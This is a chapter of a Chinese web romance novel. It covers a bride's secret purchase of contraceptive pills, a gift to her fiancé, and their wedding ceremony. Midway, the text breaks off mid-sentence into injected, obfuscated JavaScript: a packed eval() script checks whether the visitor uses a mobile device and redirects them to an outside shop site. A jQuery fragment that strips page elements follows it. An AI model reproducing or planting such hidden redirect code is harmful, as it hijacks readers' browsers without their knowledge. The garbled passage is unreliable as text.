30. 大婚

作品:《清正权臣为爱发疯后

    那店主转身,来人一身绸布衣衫,戴着幕篱遮面,显然是五日前来要订制避子药丸的娘子。


    他从陈旧柜台下的暗屉中拿出一个白瓷瓶,连带着包好的堕胎药一齐交给沈玉蕴。


    见这娘子年龄尚小,气质出尘,便好心叮嘱了几句:“这两种药药性皆寒凉,若过多服用恐会致女子不孕。娘子还是尽量不要多服。”


    沈玉蕴指尖一颤,下意识紧紧捏住手心那小小的白瓷瓶。


    不孕吗?


    她虽现在不想要孩子,可以后的事她却说不准。


    更何况……


    梅澜清清癯的身型不由分说地侵占了整个脑海。


    若是,他想要呢?


    梅澜清近几日计划在上饶多办一个养济院,以接收那些在水灾中失去亲人的鳏寡孤独者。


    为节约官府用度,养济院的选址定然不能在热闹街市中,于是,梅澜清便和几位官员到了街道后的小巷中,看有没有年久不住人的房屋可供重新修筑,做养济院的。


    几人议事间,梅澜清眸光无意间一瞥,却见一个戴着幕篱的女子从前方狭窄小巷里步履匆匆地走出来,她似乎没有注意到后方还有人,转身便进了街市。


    梅澜清觉得那人的身型和走路姿态都眼熟至极,尤其是那身戴着幕篱的打扮,简直像极了玉娘。


    可玉娘在家中代嫁,怎会无缘无故出现在这里?


    他往她走出来的那条巷子里看去,窄小破旧,光线昏暗,宽度只能容纳一人,里面并没有什么不同寻常的。


    梅澜清还待再看,有官员叫住他:“知州看这个宅子如何?”


    沈玉蕴并未直接回布肆,反而去了街对面,买了许多二陈汤与参苓补糕,问掌柜的要了个偏大的食盒,将买来的堕胎药铺在食盒最底层,又把糕点和饮子分别放在第一层和第二层。


    待怜雪取得狼毫笔回来时,沈玉蕴早已把五彩丝线买好,坐在桌边慢悠悠的喝茶。


    她把精心装在檀木匣子里的狼毫笔交给沈玉蕴,接过布肆掌柜的递来的丝线,却见沈玉蕴身旁的桌上还放着一食盒。


    “咦,这里面是娘子方才买的糕点吗?”


    沈玉蕴每次出街时都会带一些新鲜糕点,是以怜雪并不觉得意外。


    沈玉蕴道:“是我在对街买的药膳饮子和参苓补糕,带给郎君和夫人尝尝。”


    怜雪提上食盒,隐隐闻到里面飘出的药味,了然地点点头。


    梅澜清回府时,恰好沈玉蕴正和两位夫人坐在一起吃糕点。


    见梅澜清回来,孙夫人忙招手道:“昙哥儿快来,玉娘今日买了些二陈汤和参苓补糕,快来尝尝。”


    梅澜清拿过一块糕点,脑中却全是今日在小巷里遇到的,那带着幕篱的女子纤瘦的背影。


    他不动声色地问:“玉娘今日出府了?”


    她还未说话,赵夫人便笑道:“府中没有合适的五彩丝线,我本来说让下人去买即可。可玉娘说,那丝线是要用来编织你们成亲那日的同心结的,如此重要的东西,她自然要亲自去挑。”


    大婚时,将亲手编织的同心结系在床帷之间,寓意夫妻恩爱,永结同心。


    原来是这样。


    梅澜清的目光转向沈玉蕴,见她低着头,鬓间只简单簪了两个圆润可爱的珍珠发钗,心瞬间化成温温软软的一潭水。


    定然是他最近有些累,看错了人。玉娘真心待他,他不该对她起疑。


    几人一起热热闹闹地用了晚膳。


    梅澜清和沈玉蕴告了辞,见沈玉蕴衣衫单薄,梅澜清将大氅披到她身上。


    沈玉蕴鼻尖全是梅澜清身上那股淡淡的墨香味,混着他温暖的体温,热气蒸腾。


    月色明亮,两人的影子被拉成长长两条,偶尔并肩,偶尔交织。


    等到了沈玉蕴寝房门口,沈玉蕴让他等她一会儿,进了屋又出来,把檀木匣子递给他。


    “这是我今日给郎君买的礼物,想来郎君会喜欢。”


    梅澜清打开一看,那是一支素雅的湘妃竹笔,笔管处布有湘妃竹特有的灰褐色斑纹,天然雅致。


    在月光的照耀下,笔管上隐隐有银光闪过,他定睛一瞧,那处竟镶嵌有一条细细的银丝。


    材质与做工都如此考究的狼毫笔,定然不便宜。


    梅澜清看向她一双闪着期待的杏眸,语气中是自己也未曾察觉的温柔:“买这支笔你花了多少银子?”


    沈玉蕴听他说喜欢,眉眼都含了笑,回道:“四两银子。”


    “不过郎君放心,这次是我自己攒下的。”


    梅澜清很大方,她去做侍讲,每月便有二两银子的收入。


    她又用不完,多余的都攒着,于是几月下来,攒的钱也够给梅澜清买个像样的礼物了。


    梅澜清听明白她是在说之前送他发簪一事,轻笑了声。


    一阵寒风吹过,沈玉蕴梳理整齐的鬓发被风吹乱。梅澜清试探性的伸手,见她没躲,将她颊边的碎发轻轻别到耳后。


    “玉娘待我这般好。”他这话说的语气缱绻,那声玉娘像是被他含在嘴里滚了一圈,无端生了些旖旎,“我很欢喜。”


    但抚过她碎发的那只手却又克制地收了回来。


    那避子药丸还没来得及找到合适的地方放置,她又怕怜雪发现,于是沈玉蕴便随身带着。


    此刻,她竟觉得那小小的白瓷瓶重若千斤。


    沈玉蕴不敢看他的眼睛,只垂下眸子,轻声道:“郎君欢喜就好。”


    近几日信州有一件大事,街头巷尾都在津津乐道。


    那位清正爱民的梅知州将要娶妻了,听说新妇是就住在知州府的舅家表妹。


    曾于信州水灾时,在街边发粮点为灾民亲自发过粮食,现如今还在梅知州一手创办的、为信州儿童开蒙的学堂中做侍读。


    因此,有不少人见过她的真容。都说她生得花容月貌,那一身林下之风的气度,与丰姿隽逸的梅知州很是相配。


    也有人议论,说她一未出阁的官家女子,整日抛头露面,生生污了名声。


    这一切沈玉蕴并不知晓。


    大婚前一日,赵夫人带着早已备好的一个木箱子来了沈玉蕴暂住的客栈。


    她先是口述,后又打开箱子,拿出里面的“压箱底


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178493|196346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”,递给沈玉蕴。


    沈玉蕴看着那桃子形状的瓷器,脸上有些许迷茫,直到赵夫人打开盖子,里面竟藏着一对栩栩如生的小人。


    见那小人的形状,沈玉蕴的脸直直红到了耳后根。


    赵夫人见状,又拿出本彩色的嫁妆画,细细翻阅给她看。沈玉蕴看得面红耳赤,她第一次知道这种事情原来还可以有这么多样式。


    她仅有的那点经验,还是那晚被迫从失控的梅澜清那里得知的。


    瞧着瞧着,她便控制不住地想起那晚,梅澜清染上欲色的脸,以及他靠在她耳边,那滚烫的喘息声。


    沈玉蕴整个人热得都快要烧着。


    赵夫人倒不觉得这有什么,笑道:“昙郎性情冷淡,向来端方自持。在这种事上,你若觉得他过于冷淡了,不妨主动些,他定然也自持不住的。”


    赵夫人附在沈玉蕴耳边又细语了几句,沈玉蕴脸红的快要滴血,却还是点了点头。


    大婚当日,沈玉蕴端坐铜镜前,霞披犹如一道霞光,从她肩头倾泻而下。


    那布料极重,压得她肩头微微发酸。


    沈玉蕴无端觉得,心情也沉重了几分。


    她盯着铜镜中那张端庄娇美的面容,只觉熟悉又陌生。前不久,她还是那个飘泊如浮萍的婢女,渺小卑微,只得抓着悬崖上的那根枯草以求命运怜惜。


    那时候的她想不到,仅仅在几年后,她会嫁给光风霁月的梅知州,做他的新嫁娘。


    过去与如今由梅澜清这道玉色的屏障分成鲜明的两部分。沈玉蕴捂住藏在胸口那个小瓷瓶,堪堪按捺住自己无端跳动的心。


    热闹的喜乐声由远及近,熙熙攘攘停在了客栈门口,怜雪扶着她上轿。


    梅澜清站在知州府门口,看着那抹朱红色的身影越走越近。


    他穿着一身绯红圆领袍,规整的一丝不乱,只是藏着袖口中的手指不自觉紧了又松,一时竟忘了上前。


    一旁的孙夫人轻咳了声:“昙哥儿……”


    梅澜清终于回过神,快走了几步,接住了那双娇小白皙的手。


    触手微凉,却柔软的不可思议,令他的心也无端软了几分。


    梅澜清下意识紧紧握住,将人稳稳扶住。


    她亲手绣的云纹销金盖头遮住了脸,只在步履款款时隐隐透出一点雪白细腻的下颌,和如海棠般娇嫩朱红的唇瓣。


    她今日定然是极美的。


    梅澜清忽然不敢再看。他牵着她的手一步步向前,去走那条红绸铺地的康庄大道。


    不知是不是紧张的缘故,梅澜清感觉到那双手在手心微微颤动。他温热的指腹便在她手背轻轻抚了抚。


    莹玉般的手一僵,顿住动作,任由梅澜清牵着到了礼堂。


    拜堂仪式庄重却也热闹,赵夫人和孙夫人坐在上首的位置,含笑看着两人对拜。


    “——夫妻对拜。”


    听着媒人的话,沈玉蕴缓缓俯身。


    礼堂灯火辉煌,四周人声喧嚷,而沈玉蕴只能看见盖头下方露出的,那人整齐端庄的衣摆和一尘不染的皂靴。


    “——礼成,送入洞房。”